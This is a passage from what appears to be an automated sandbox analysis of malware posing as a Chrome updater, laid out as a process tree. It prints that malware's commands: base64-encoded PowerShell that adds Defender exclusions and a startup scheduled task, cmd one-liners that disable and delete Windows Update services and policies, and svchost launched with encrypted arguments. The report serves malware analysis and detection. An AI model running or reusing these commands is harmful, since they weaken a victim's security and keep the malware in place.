IAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:3908
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:4304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:2912
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:3252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4568
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:6744
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3208
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:7016
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6040
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5448
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:6428
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:5164
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:2468
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:5480
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:4760
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:5816
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4424
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4752
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2028
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:2812
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:4496
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3416
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:4080
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:5464
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4104
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:2516
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:1308
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:3836
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:5596
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:5564
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5516
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3708
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5472
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:6104
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:4764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1248
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Modifies data under HKEY_USERS
    PID:404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:3424
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:248
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3876
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:572
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6908
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5808
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5192
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:1260
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:4656
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:1972
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:1516
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:556
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1440
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2748
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:1224
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2820
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6544
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:992
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:3468
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:5676
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:1148
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3124
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:6936
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:2324
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:6904
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:1524
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3168
    - - C:\Windows\System32\powercfg.exe
        
